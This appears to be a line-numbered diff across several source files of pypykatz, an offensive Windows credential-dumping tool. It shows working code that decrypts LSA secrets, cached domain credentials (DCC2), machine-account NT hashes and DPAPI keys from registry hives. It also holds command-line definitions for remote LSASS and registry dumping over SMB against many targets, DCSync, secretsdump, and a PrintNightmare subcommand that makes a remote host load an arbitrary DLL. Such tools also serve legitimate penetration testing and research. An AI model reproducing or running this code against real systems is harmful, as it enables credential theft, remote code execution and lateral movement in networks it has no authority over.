119 | return '=== LSA Default Password ===\r\nHistory: %s\r\nUsername: %s\r\nPassword: %s' % (self.history, self.username,self.secret) | |
120 | ||
121 | def to_dict(self): | |
122 | t = {} | |
123 | t['type'] = 'LSASecretDefaultPassword' | |
124 | t['key_name'] = self.key_name | |
125 | t['history'] = self.history | |
126 | t['username'] = self.username | |
127 | t['secret'] = self.secret | |
128 | return t | |
129 | ||
130 | class LSASecretASPNET(LSASecret): | |
131 | def __init__(self, key_name, raw_secret, history): | |
132 | LSASecret.__init__(self, key_name, raw_secret, history) | |
133 | self.username = 'ASPNET' | |
134 | self.secret = None | |
135 | ||
136 | def process_secret(self): | |
137 | try: | |
138 | self.secret = self.raw_secret.decode('utf-16-le') | |
139 | except: | |
140 | pass | |
141 | ||
142 | def __str__(self): | |
143 | return '=== LSA ASPNET Password ===\r\nHistory: %s\r\nUsername: %s\r\nPassword: %s' % (self.history, self.username,self.secret) | |
144 | ||
145 | def to_dict(self): | |
146 | t = {} | |
147 | t['type'] = 'LSASecretASPNET' | |
148 | t['key_name'] = self.key_name | |
149 | t['history'] = self.history | |
150 | t['username'] = self.username | |
151 | t['secret'] = self.secret | |
152 | return t | |
153 | ||
154 | class LSASecretMachineAccount(LSASecret): | |
155 | def __init__(self, key_name, raw_secret, history): | |
156 | LSASecret.__init__(self, key_name, raw_secret, history) | |
157 | self.username = None | |
158 | self.secret = None | |
159 | self.kerberos_password = None | |
160 | ||
161 | def process_secret(self): | |
162 | #only the NT hash is calculated here | |
163 | ctx = MD4(self.raw_secret)#hashlib.new('md4') | |
164 | #ctx.update(self.raw_secret) | |
165 | self.secret = ctx.digest() | |
166 | ||
167 | #thx dirkjan | |
168 | self.kerberos_password = self.raw_secret.decode('utf-16-le', 'replace').encode('utf-8', 'replace') | |
169 | ||
170 | def to_dict(self): | |
171 | t = {} | |
172 | t['type'] = 'LSASecretMachineAccount' | |
173 | t['key_name'] = self.key_name | |
174 | t['history'] = self.history | |
175 | t['username'] = self.username | |
176 | t['secret'] = self.secret | |
177 | t['kerberos_password'] = self.kerberos_password | |
178 | return t | |
179 | ||
180 | def __str__(self): | |
181 | return '=== LSA Machine account password ===\r\nHistory: %s\r\nNT: %s\r\nPassword(hex): %s\r\nKerberos password(hex): %s' % (self.history, self.secret.hex(), self.raw_secret.hex(), self.kerberos_password.hex()) | |
182 | ||
183 | ||
184 | class LSASecretDPAPI(LSASecret): | |
185 | def __init__(self, key_name, raw_secret, history): | |
186 | LSASecret.__init__(self, key_name, raw_secret, history) | |
187 | self.machine_key = None | |
188 | self.user_key = None | |
189 | ||
190 | def process_secret(self): | |
191 | ds = DPAPI_SYSTEM.from_bytes(self.raw_secret) | |
192 | self.machine_key = ds.machine_key | |
193 | self.user_key = ds.user_key | |
194 | ||
195 | def to_dict(self): | |
196 | t = {} | |
197 | t['type'] = 'LSASecretDPAPI' | |
198 | t['key_name'] = self.key_name | |
199 | t['history'] = self.history | |
200 | t['machine_key'] = self.machine_key | |
201 | t['user_key'] = self.user_key | |
202 | return t | |
203 | ||
204 | def __str__(self): | |
205 | return '=== LSA DPAPI secret ===\r\nHistory: %s\r\nMachine key (hex): %s\r\nUser key(hex): %s' % (self.history, self.machine_key.hex(), self.user_key.hex()) | |
206 | ||
207 | class LSADCCSecret: | |
208 | def __init__(self, version, domain, username, hash_value, iteration = None): | |
209 | self.version = version | |
210 | self.domain = domain | |
211 | self.username = username | |
212 | self.iteration = iteration | |
213 | self.hash_value = hash_value | |
214 | ||
215 | def to_dict(self): | |
216 | t = {} | |
217 | t['version'] = self.version | |
218 | t['domain'] = self.domain | |
219 | t['username'] = self.username | |
220 | t['iteration'] = self.iteration | |
221 | t['hash_value'] = self.hash_value | |
222 | return t | |
223 | ||
224 | def __str__(self): | |
225 | return self.to_lopth() | |
226 | ||
227 | def to_lopth(self): | |
228 | if self.version == 1: | |
229 | return "%s/%s:%s:%s" % (self.domain, self.username, self.hash_value.hex(), self.username) | |
230 | else: | |
231 | return "%s/%s:$DCC2$%s#%s#%s" % (self.domain, self.username, self.iteration, self.username, self.hash_value.hex())⏎ |
5 | 5 | import hashlib |
6 | 6 | import hmac |
7 | 7 | from pypykatz.registry.sam.structures import * |
8 | from pypykatz.crypto.RC4 import RC4 | |
9 | from pypykatz.crypto.aes import AESModeOfOperationCBC,AESModeOfOperationECB, Decrypter | |
10 | from pypykatz.crypto.des import * | |
8 | from unicrypto.symmetric import RC4, DES, AES, expand_DES_key, MODE_CBC | |
11 | 9 | |
12 | 10 | |
13 | 11 | ##### |
14 | 12 | from pypykatz.registry.security.structures import * |
15 | from pypykatz.registry.security.common import * | |
13 | from pypykatz.registry.security.acommon import * | |
16 | 14 | from pypykatz.registry import logger |
17 | 15 | from pypykatz.commons.common import hexdump |
18 | 16 | |
24 | 22 | # as this functionality can be used by any service that wants to stroe some secret information |
25 | 23 | |
26 | 24 | class SECURITY: |
27 | def __init__(self, security_hive, bootkey): | |
25 | def __init__(self, security_hive, bootkey, system_hive = None): | |
28 | 26 | self.hive = security_hive |
27 | self.system_hive = system_hive | |
29 | 28 | self.bootkey = bootkey |
30 | 29 | |
31 | 30 | self.dcc_iteration_count = 10240 |
50 | 49 | record = LSA_SECRET.from_bytes(data) |
51 | 50 | key = SECURITY.sha256_multi(self.bootkey, record.data[:32]) |
52 | 51 | secret_dec = b'' |
53 | cipher = AESModeOfOperationECB(key) | |
52 | cipher = AES(key) | |
54 | 53 | n = 16 |
55 | 54 | for block in [record.data[32:][i:i+n] for i in range(0, len(record.data[32:]), n)]: #terrible, terrible workaround |
56 | 55 | if len(block) < n: |
95 | 94 | for _ in range(0, len(value), 8): |
96 | 95 | enc_blob = value[:8] |
97 | 96 | des_key = expand_DES_key(t_key[:7]) |
98 | ctx = des(des_key) | |
97 | ctx = DES(des_key) | |
99 | 98 | dec_blob += ctx.decrypt(enc_blob) |
100 | 99 | t_key = t_key[7:] |
101 | 100 | value = value[8:] |
119 | 118 | self.NKLM_key = b'' |
120 | 119 | record = LSA_SECRET.from_bytes(value[1]) |
121 | 120 | key = SECURITY.sha256_multi(self.lsa_key, record.data[:32]) |
122 | cipher = AESModeOfOperationECB(key) | |
121 | cipher = AES(key) | |
123 | 122 | n = 16 |
124 | 123 | for block in [record.data[32:][i:i+n] for i in range(0, len(record.data[32:]), n)]: #terrible, terrible workaround |
125 | 124 | if len(block) < n: |
178 | 177 | # Encrypted |
179 | 178 | if self.lsa_secret_key_vista_type is True: |
180 | 179 | plaintext = b'' |
181 | cipher = AESModeOfOperationCBC(self.NKLM_key[16:32], iv = record.IV) | |
180 | cipher = AES(self.NKLM_key[16:32], MODE_CBC, IV = record.IV) | |
182 | 181 | n = 16 |
183 | 182 | for block in [record.EncryptedData[i:i+n] for i in range(0, len(record.EncryptedData), n)]: #terrible, terrible workaround |
184 | 183 | if len(block) < 16: |
235 | 234 | record = LSA_SECRET.from_bytes(v[1]) |
236 | 235 | key = SECURITY.sha256_multi(self.lsa_key, record.data[:32]) |
237 | 236 | secret_dec = b'' |
238 | cipher = AESModeOfOperationECB(key) | |
237 | cipher = AES(key) | |
239 | 238 | n = 16 |
240 | 239 | for block in [record.data[32:][i:i+n] for i in range(0, len(record.data[32:]), n)]: #terrible, terrible workaround |
241 | 240 | if len(block) < n: |
247 | 246 | else: |
248 | 247 | dec_blob = self.decrypt_secret(self.lsa_key, v[1]) |
249 | 248 | |
250 | secret = LSASecret.process(key_name, dec_blob, vl == 'OldVal') | |
249 | secret = await LSASecret.process(key_name, dec_blob, vl == 'OldVal', self.system_hive) | |
251 | 250 | if secret is not None: |
252 | 251 | self.cached_secrets.append(secret) |
253 | 252 |
3 | 3 | # Tamas Jos (@skelsec) |
4 | 4 | # |
5 | 5 | |
6 | from pypykatz.crypto.MD4 import MD4 | |
6 | from unicrypto.hashlib import md4 as MD4 | |
7 | 7 | from pypykatz.dpapi.structures.system import DPAPI_SYSTEM |
8 | 8 | from pypykatz.commons.common import hexdump |
9 | 9 | |
21 | 21 | self.history = history |
22 | 22 | |
23 | 23 | @staticmethod |
24 | def process(key_name, raw_secret, history = False): | |
24 | def process(key_name, raw_secret, history = False, system_hive = None): | |
25 | 25 | kn = key_name.upper() |
26 | 26 | if len(raw_secret) == 0: |
27 | 27 | return |
29 | 29 | return |
30 | 30 | |
31 | 31 | if kn.startswith('_SC_'): |
32 | lss = LSASecretService(kn, raw_secret, history) | |
32 | lss = LSASecretService(kn, raw_secret, history, system_hive) | |
33 | 33 | lss.process_secret() |
34 | 34 | |
35 | 35 | elif kn.startswith('DEFAULTPASSWORD'): |
65 | 65 | return t |
66 | 66 | |
67 | 67 | class LSASecretService(LSASecret): |
68 | def __init__(self, key_name, raw_secret, history): | |
69 | LSASecret.__init__(self, key_name, raw_secret, history) | |
68 | def __init__(self, key_name, raw_secret, history, system_hive = None): | |
69 | LSASecret.__init__(self, key_name, raw_secret, history) | |
70 | self.system_hive = system_hive | |
70 | 71 | self.service = None |
71 | 72 | self.username = None |
72 | 73 | self.secret = None |
75 | 76 | try: |
76 | 77 | self.secret = self.raw_secret.decode('utf-16-le') |
77 | 78 | except: |
78 | pass | |
79 | self.secret = self.raw_secret.hex() | |
79 | 80 | else: |
80 | 81 | #here you may implement a mechanism to fetch the service user's name |
81 | 82 | #TODO |
82 | 83 | self.service = self.key_name |
83 | 84 | self.username = 'UNKNOWN' |
84 | ||
85 | if self.system_hive is not None: | |
86 | print(self.key_name[4:]) | |
87 | self.username = self.system_hive.get_service_user(self.key_name[4:]) | |
88 | ||
85 | 89 | def __str__(self): |
86 | 90 | return '=== LSA Service User Secret ===\r\nHistory: %s\r\nService name: %s \r\nUsername: %s' % (self.history, self.service, self.username) + '\r\n' + hexdump(self.secret) |
87 | 91 |
2 | 2 | # Author: |
3 | 3 | # Tamas Jos (@skelsec) |
4 | 4 | # |
5 | import hashlib | |
6 | import hmac | |
7 | from pypykatz.registry.sam.structures import * | |
8 | from pypykatz.crypto.RC4 import RC4 | |
9 | from pypykatz.crypto.aes import AESModeOfOperationCBC,AESModeOfOperationECB, Decrypter | |
10 | from pypykatz.crypto.des import * | |
11 | ||
5 | from unicrypto import hashlib | |
6 | from unicrypto import hmac | |
7 | from unicrypto.symmetric import RC4, AES, MODE_CBC, DES, expand_DES_key | |
12 | 8 | |
13 | 9 | ##### |
14 | from pypykatz.registry.security.structures import * | |
15 | from pypykatz.registry.security.common import * | |
10 | import io | |
11 | from pypykatz.registry.security.structures import LSA_SECRET, LSA_SECRET_BLOB, LSA_SECRET_XP, NL_RECORD | |
12 | from pypykatz.registry.security.common import LSADCCSecret, LSASecret | |
16 | 13 | from pypykatz.registry import logger |
17 | from pypykatz.commons.common import hexdump | |
18 | 14 | |
19 | 15 | # |
20 | 16 | # The SECURITY hive holds all the domain-cached-credentials for the domain users who logged in to the machine |
24 | 20 | # as this functionality can be used by any service that wants to stroe some secret information |
25 | 21 | |
26 | 22 | class SECURITY: |
27 | def __init__(self, security_hive, bootkey): | |
23 | def __init__(self, security_hive, bootkey, system_hive = None): | |
28 | 24 | self.hive = security_hive |
25 | self.system_hive = system_hive | |
29 | 26 | self.bootkey = bootkey |
30 | 27 | |
31 | 28 | self.dcc_iteration_count = 10240 |
50 | 47 | record = LSA_SECRET.from_bytes(data) |
51 | 48 | key = SECURITY.sha256_multi(self.bootkey, record.data[:32]) |
52 | 49 | secret_dec = b'' |
53 | cipher = AESModeOfOperationECB(key) | |
50 | cipher = AES(key) | |
54 | 51 | n = 16 |
55 | 52 | for block in [record.data[32:][i:i+n] for i in range(0, len(record.data[32:]), n)]: #terrible, terrible workaround |
56 | 53 | if len(block) < n: |
95 | 92 | for _ in range(0, len(value), 8): |
96 | 93 | enc_blob = value[:8] |
97 | 94 | des_key = expand_DES_key(t_key[:7]) |
98 | ctx = des(des_key) | |
95 | ctx = DES(des_key) | |
99 | 96 | dec_blob += ctx.decrypt(enc_blob) |
100 | 97 | t_key = t_key[7:] |
101 | 98 | value = value[8:] |
119 | 116 | self.NKLM_key = b'' |
120 | 117 | record = LSA_SECRET.from_bytes(value[1]) |
121 | 118 | key = SECURITY.sha256_multi(self.lsa_key, record.data[:32]) |
122 | cipher = AESModeOfOperationECB(key) | |
119 | cipher = AES(key) | |
123 | 120 | n = 16 |
124 | 121 | for block in [record.data[32:][i:i+n] for i in range(0, len(record.data[32:]), n)]: #terrible, terrible workaround |
125 | 122 | if len(block) < n: |
176 | 173 | # Encrypted |
177 | 174 | if self.lsa_secret_key_vista_type is True: |
178 | 175 | plaintext = b'' |
179 | cipher = AESModeOfOperationCBC(self.NKLM_key[16:32], iv = record.IV) | |
176 | cipher = AES(self.NKLM_key[16:32], MODE_CBC, IV = record.IV) | |
180 | 177 | n = 16 |
181 | 178 | for block in [record.EncryptedData[i:i+n] for i in range(0, len(record.EncryptedData), n)]: #terrible, terrible workaround |
182 | 179 | if len(block) < 16: |
184 | 181 | plaintext += cipher.decrypt(block) |
185 | 182 | |
186 | 183 | else: |
187 | key = hmac.new(self.NKLM_key,record.IV).digest() | |
184 | key = hmac.new(self.NKLM_key,record.IV, digestmod='md5').digest() | |
188 | 185 | cipher = RC4(key) |
189 | 186 | plaintext = cipher.decrypt(record.EncryptedData) |
190 | 187 | |
233 | 230 | record = LSA_SECRET.from_bytes(v[1]) |
234 | 231 | key = SECURITY.sha256_multi(self.lsa_key, record.data[:32]) |
235 | 232 | secret_dec = b'' |
236 | cipher = AESModeOfOperationECB(key) | |
233 | cipher = AES(key) | |
237 | 234 | n = 16 |
238 | 235 | for block in [record.data[32:][i:i+n] for i in range(0, len(record.data[32:]), n)]: #terrible, terrible workaround |
239 | 236 | if len(block) < n: |
245 | 242 | else: |
246 | 243 | dec_blob = self.decrypt_secret(self.lsa_key, v[1]) |
247 | 244 | |
248 | secret = LSASecret.process(key_name, dec_blob, vl == 'OldVal') | |
245 | secret = LSASecret.process(key_name, dec_blob, vl == 'OldVal', self.system_hive) | |
249 | 246 | if secret is not None: |
250 | 247 | self.cached_secrets.append(secret) |
251 | 248 |
57 | 57 | await self.get_currentcontrol() |
58 | 58 | await self.get_bootkey() |
59 | 59 | |
60 | async def get_service_user(self, service_name): | |
61 | if self.currentcontrol is None: | |
62 | await self.get_currentcontrol() | |
63 | ||
64 | try: | |
65 | key = '%s\\Services\\%s\\ObjectName' % (self.currentcontrol, service_name) | |
66 | val = await self.hive.get_value(key) | |
67 | return val[1].decode('utf-16-le') | |
68 | except: | |
69 | return None | |
70 | ||
60 | 71 | def to_dict(self): |
61 | 72 | t = {} |
62 | 73 | t['CurrentControlSet'] = self.currentcontrol |
55 | 55 | def get_secrets(self): |
56 | 56 | self.get_currentcontrol() |
57 | 57 | self.get_bootkey() |
58 | ||
58 | ||
59 | def get_service_user(self, service_name): | |
60 | if self.currentcontrol is None: | |
61 | self.get_currentcontrol() | |
62 | ||
63 | try: | |
64 | key = '%s\\Services\\%s\\ObjectName' % (self.currentcontrol, service_name) | |
65 | return self.hive.get_value(key)[1].decode('utf-16-le') | |
66 | except: | |
67 | return None | |
68 | ||
59 | 69 | def to_dict(self): |
60 | 70 | t = {} |
61 | 71 | t['CurrentControlSet'] = self.currentcontrol |
3 | 3 | # Tamas Jos (@skelsec) |
4 | 4 | # |
5 | 5 | |
6 | import os | |
7 | import json | |
8 | import glob | |
9 | import ntpath | |
10 | import traceback | |
11 | ||
12 | from pypykatz import logging | |
13 | from pypykatz.commons.common import UniversalEncoder | |
14 | ||
15 | ||
6 | import argparse | |
16 | 7 | |
17 | 8 | class RemoteCMDHelper: |
18 | 9 | def __init__(self): |
19 | self.live_keywords = ['share','session','localgroup'] | |
10 | self.live_keywords = ['smbapi'] | |
20 | 11 | self.keywords = [] #['remote'] no yet implemented |
21 | 12 | |
22 | 13 | def add_args(self, parser, live_parser): |
23 | live_group = live_parser.add_parser('share', help='Remote share relted operations') | |
24 | live_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format') | |
25 | live_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)') | |
26 | live_group.add_argument('cmd', choices=['enum']) | |
27 | live_group.add_argument('-f', '--target-file', help = 'Targets file, one per line') | |
28 | live_group.add_argument('-t', '--target', action='append', help = 'Target to check. Stackable.') | |
29 | live_group.add_argument('--timeout', type=int, help = 'Pre-check timeout.') | |
30 | live_group.add_argument('--disable-pre-check', action='store_true',help = 'Disables pre-check to see if the remote destination is alive. Will make enumeration take years!') | |
14 | ||
15 | live_subcommand_parser = argparse.ArgumentParser(add_help=False) | |
16 | live_smbapi_subparsers = live_subcommand_parser.add_subparsers(help = 'SMB via Windows API') | |
17 | live_smbapi_subparsers.required = True | |
18 | live_smbapi_subparsers.dest = 'livesmbapi' | |
19 | ||
20 | live_smbapi_share = live_smbapi_subparsers.add_parser('share', help='Remote share relted operations') | |
21 | live_smbapi_share.add_argument('--json', action='store_true',help = 'Print credentials in JSON format') | |
22 | live_smbapi_share.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)') | |
23 | live_smbapi_share.add_argument('op', choices=['enum']) | |
24 | live_smbapi_share.add_argument('-f', '--target-file', help = 'Targets file, one per line') | |
25 | live_smbapi_share.add_argument('-t', '--target', action='append', help = 'Target to check. Stackable.') | |
26 | live_smbapi_share.add_argument('--timeout', type=int, help = 'Pre-check timeout.') | |
27 | live_smbapi_share.add_argument('--disable-pre-check', action='store_true',help = 'Disables pre-check to see if the remote destination is alive. Will make enumeration take years!') | |
31 | 28 | |
32 | live_group = live_parser.add_parser('session', help='Remote user sessions related operations') | |
33 | live_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format') | |
34 | live_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)') | |
35 | live_group.add_argument('cmd', choices=['enum']) | |
36 | live_group.add_argument('-f', '--target-file', help = 'Targets file, one per line') | |
37 | live_group.add_argument('-t', '--target', action='append', help = 'Target to check. Stackable.') | |
38 | live_group.add_argument('--timeout', type=int, help = 'Pre-check timeout.') | |
39 | live_group.add_argument('--disable-pre-check', action='store_true',help = 'Disables pre-check to see if the remote destination is alive. Will make enumeration take years!') | |
29 | live_smbapi_session = live_smbapi_subparsers.add_parser('session', help='Remote user sessions related operations') | |
30 | live_smbapi_session.add_argument('--json', action='store_true',help = 'Print credentials in JSON format') | |
31 | live_smbapi_session.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)') | |
32 | live_smbapi_session.add_argument('op', choices=['enum']) | |
33 | live_smbapi_session.add_argument('-f', '--target-file', help = 'Targets file, one per line') | |
34 | live_smbapi_session.add_argument('-t', '--target', action='append', help = 'Target to check. Stackable.') | |
35 | live_smbapi_session.add_argument('--timeout', type=int, help = 'Pre-check timeout.') | |
36 | live_smbapi_session.add_argument('--disable-pre-check', action='store_true',help = 'Disables pre-check to see if the remote destination is alive. Will make enumeration take years!') | |
40 | 37 | |
41 | live_group = live_parser.add_parser('localgroup', help='Remote localgroup related operations') | |
42 | live_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format') | |
43 | live_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)') | |
44 | live_group.add_argument('cmd', choices=['enum']) | |
45 | live_group.add_argument('-f', '--target-file', help = 'Targets file, one per line') | |
46 | live_group.add_argument('-t', '--target', action='append', help = 'Target to check. Stackable.') | |
47 | live_group.add_argument('--timeout', type=int, help = 'Pre-check timeout.') | |
48 | live_group.add_argument('--disable-pre-check', action='store_true',help = 'Disables pre-check to see if the remote destination is alive. Will make enumeration take years!') | |
49 | live_group.add_argument('-g', '--group', action='append', help = 'Localgroup name to look for. Stackable.') | |
38 | live_smbapi_localgroup = live_smbapi_subparsers.add_parser('localgroup', help='Remote localgroup related operations') | |
39 | live_smbapi_localgroup.add_argument('--json', action='store_true',help = 'Print credentials in JSON format') | |
40 | live_smbapi_localgroup.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)') | |
41 | live_smbapi_localgroup.add_argument('op', choices=['enum']) | |
42 | live_smbapi_localgroup.add_argument('-f', '--target-file', help = 'Targets file, one per line') | |
43 | live_smbapi_localgroup.add_argument('-t', '--target', action='append', help = 'Target to check. Stackable.') | |
44 | live_smbapi_localgroup.add_argument('--timeout', type=int, help = 'Pre-check timeout.') | |
45 | live_smbapi_localgroup.add_argument('--disable-pre-check', action='store_true',help = 'Disables pre-check to see if the remote destination is alive. Will make enumeration take years!') | |
46 | live_smbapi_localgroup.add_argument('-g', '--group', action='append', help = 'Localgroup name to look for. Stackable.') | |
50 | 47 | |
48 | live_parser.add_parser('smbapi', help='SMB operations using the windows API', parents=[live_subcommand_parser]) | |
51 | 49 | |
52 | #group = parser.add_parser('registry', help='Get secrets from registry files') | |
50 | #group = live_smbapi_subparsers.add_parser('registry', help='Get secrets from registry files') | |
53 | 51 | #group.add_argument('system', help='path to the SYSTEM registry hive') |
54 | 52 | #group.add_argument('--sam', help='path to the SAM registry hive') |
55 | 53 | #group.add_argument('--security', help='path to the SECURITY registry hive') |
68 | 66 | pass |
69 | 67 | |
70 | 68 | def run_live(self, args): |
71 | if args.module == 'share': | |
72 | if args.cmd == 'enum': | |
69 | if args.livesmbapi == 'share': | |
70 | if args.op == 'enum': | |
73 | 71 | from pypykatz.remote.live.share.enumerator import ShareEnumerator |
74 | 72 | |
75 | 73 | se = ShareEnumerator() |
96 | 94 | |
97 | 95 | se.run() |
98 | 96 | |
99 | elif args.module == 'session': | |
100 | if args.cmd == 'enum': | |
97 | elif args.livesmbapi == 'session': | |
98 | if args.op == 'enum': | |
101 | 99 | from pypykatz.remote.live.session.enumerator import SessionMonitor |
102 | 100 | |
103 | 101 | se = SessionMonitor() |
123 | 121 | |
124 | 122 | se.run() |
125 | 123 | |
126 | elif args.module == 'localgroup': | |
127 | if args.cmd == 'enum': | |
124 | elif args.livesmbapi == 'localgroup': | |
125 | if args.op == 'enum': | |
128 | 126 | from pypykatz.remote.live.localgroup.enumerator import LocalGroupEnumerator |
129 | 127 | |
130 | 128 | se = LocalGroupEnumerator() |
8 | 8 | import os |
9 | 9 | import json |
10 | 10 | import ntpath |
11 | import asyncio | |
11 | 12 | import platform |
12 | 13 | import argparse |
13 | 14 | import base64 |
14 | 15 | import traceback |
15 | 16 | |
16 | from pypykatz import logging | |
17 | from pypykatz import logger | |
17 | 18 | from pypykatz.commons.common import UniversalEncoder |
18 | 19 | from pypykatz.alsadecryptor.packages.msv.decryptor import LogonSession |
19 | import asyncio | |
20 | ||
20 | 21 | |
21 | 22 | """ |
22 | 23 | This is a wrapper for aiosmb |
43 | 44 | smb_subparsers.required = True |
44 | 45 | smb_subparsers.dest = 'smb_module' |
45 | 46 | |
46 | smb_console_group = smb_subparsers.add_parser('console', help='SMB client. Use "help" instead of "-h" to get the available subcommands') | |
47 | smb_console_group.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked') | |
48 | smb_console_group.add_argument('url', help="SMB connection string") | |
49 | smb_console_group.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.") | |
47 | smb_client_group = smb_subparsers.add_parser('client', help='SMB client. Use "help" instead of "-h" to get the available subcommands') | |
48 | smb_client_group.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked') | |
49 | smb_client_group.add_argument('url', help="SMB connection string") | |
50 | smb_client_group.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.") | |
50 | 51 | |
51 | 52 | smb_lsassfile_group = smb_subparsers.add_parser('lsassfile', help='Parse a remote LSASS dump file.') |
52 | 53 | smb_lsassfile_group.add_argument('url', help="SMB connection string with file in path field. Example: 'smb2+ntlm-password://TEST\\Administrator:[email protected]/C$/Users/victim/Desktop/lsass.DMP'") |
58 | 59 | smb_lsassfile_group.add_argument('-p','--packages', choices = ['all','msv', 'wdigest', 'tspkg', 'ssp', 'livessp', 'dpapi', 'cloudap'], nargs="+", default = 'all', help = 'LSASS package to parse') |
59 | 60 | |
60 | 61 | |
61 | smb_lsassdump_group = smb_subparsers.add_parser('lsassdump', help='Yes.') | |
62 | smb_lsassdump_group = smb_subparsers.add_parser('lsassdump', help='Remotely dumps and parses LSASS') | |
62 | 63 | smb_lsassdump_group.add_argument('url', help="SMB connection string Example: 'smb2+ntlm-password://TEST\\Administrator:[email protected]'") |
63 | smb_lsassdump_group.add_argument('-m','--method', choices=['taskexec'] , default = 'taskexec', help = 'Print credentials in JSON format') | |
64 | smb_lsassdump_group.add_argument('-m','--method', choices=['task', 'service'] , default = 'task', help = 'Print credentials in JSON format') | |
64 | 65 | smb_lsassdump_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format') |
65 | 66 | smb_lsassdump_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)') |
66 | 67 | smb_lsassdump_group.add_argument('-k', '--kerberos-dir', help = 'Save kerberos tickets to a directory.') |
67 | 68 | smb_lsassdump_group.add_argument('-g', '--grep', action='store_true', help = 'Print credentials in greppable format') |
68 | 69 | smb_lsassdump_group.add_argument('--chunksize', type=int, default=64*1024, help = 'Chunksize for file data retrival') |
69 | 70 | smb_lsassdump_group.add_argument('-p','--packages', choices = ['all','msv', 'wdigest', 'tspkg', 'ssp', 'livessp', 'dpapi', 'cloudap'], nargs="+", default = 'all', help = 'LSASS package to parse') |
70 | ||
71 | smb_lsassdump_group.add_argument('-t', '--target', nargs='*', help="Files/IPs/Hostnames for targets") | |
72 | smb_lsassdump_group.add_argument('-w', '--worker-count', type=int, default = 10, help="Number of parallell enum workers. Always one worker/host") | |
71 | 73 | |
72 | 74 | |
73 | 75 | smb_regfile_group = smb_subparsers.add_parser('regfile', help='Parse a remote registry hive dumps') |
79 | 81 | smb_regfile_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)') |
80 | 82 | smb_regfile_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format') |
81 | 83 | |
82 | smb_regsec_group = smb_subparsers.add_parser('regdump', help='Regsecrets') | |
84 | smb_regsec_group = smb_subparsers.add_parser('regdump', help='Remotely dumps and parses registry') | |
83 | 85 | smb_regsec_group.add_argument('url', help="SMB connection string. Example: 'smb2+ntlm-password://TEST\\Administrator:[email protected]'") |
84 | 86 | smb_regsec_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)') |
85 | 87 | smb_regsec_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format') |
88 | smb_regsec_group.add_argument('-t', '--target', nargs='*', help="Files/IPs/Hostnames for targets") | |
89 | smb_regsec_group.add_argument('-w', '--worker-count', type=int, default = 10, help="Number of parallell enum workers. Always one worker/host") | |
90 | ||
86 | 91 | |
87 | 92 | smb_dcsync_group = smb_subparsers.add_parser('dcsync', help='DcSync') |
88 | smb_dcsync_group.add_argument('url', help="SMB connection string with folder in path field. Example: 'smb2+ntlm-password://TEST\\Administrator:[email protected]/'") | |
93 | smb_dcsync_group.add_argument('url', help="SMB connection string. Example: 'smb2+ntlm-password://TEST\\Administrator:[email protected]'") | |
89 | 94 | smb_dcsync_group.add_argument('-u', '--username', help='taget username') |
90 | 95 | smb_dcsync_group.add_argument('-o', '--outfile', help = 'Save results to file') |
91 | 96 | |
92 | 97 | smb_secretsdump_group = smb_subparsers.add_parser('secretsdump', help='secretsdump') |
93 | smb_secretsdump_group.add_argument('url', help="SMB connection string with folder in path field. Example: 'smb2+ntlm-password://TEST\\Administrator:[email protected]/'") | |
98 | smb_secretsdump_group.add_argument('url', help="SMB connection string. Example: 'smb2+ntlm-password://TEST\\Administrator:[email protected]/'") | |
94 | 99 | smb_secretsdump_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format') |
95 | 100 | smb_secretsdump_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)') |
96 | 101 | smb_secretsdump_group.add_argument('-k', '--kerberos-dir', help = 'Save kerberos tickets to a directory.') |
101 | 106 | |
102 | 107 | |
103 | 108 | smb_shareenum_parser = smb_subparsers.add_parser('shareenum', help = 'SMB share enumerator') |
104 | smb_shareenum_parser.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'ntlm', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!') | |
105 | smb_shareenum_parser.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.') | |
106 | 109 | smb_shareenum_parser.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked') |
107 | 110 | smb_shareenum_parser.add_argument('--depth', type=int, default =3, help="Maximum level of folders to enum") |
108 | 111 | smb_shareenum_parser.add_argument('--maxitems', type=int, default = None, help="Maximum number of items per forlder to enumerate") |
121 | 124 | smb_shareenum_parser.add_argument('--et', '--exclude-target', nargs='*', help = 'Exclude hosts from enumeration') |
122 | 125 | smb_shareenum_parser.add_argument('smb_url', help = 'SMB connection string. Credentials specified here will be used to perform the enumeration') |
123 | 126 | |
127 | printnightmare_group = smb_subparsers.add_parser('printnightmare', help='printnightmare') | |
128 | printnightmare_group.add_argument('url', help="SMB connection string. Example: 'smb2+ntlm-password://TEST\\Administrator:[email protected]/'") | |
129 | printnightmare_group.add_argument('dllpath', help='Path to the DLL to be loaded by the remote host. Either UNC (\\\\<ip>\\path\\to\\dll.dll) or Full file path on the remote computer (C:\\path\\to\\dll.dll). Latter is useful if you have write permissions on the remote machine') | |
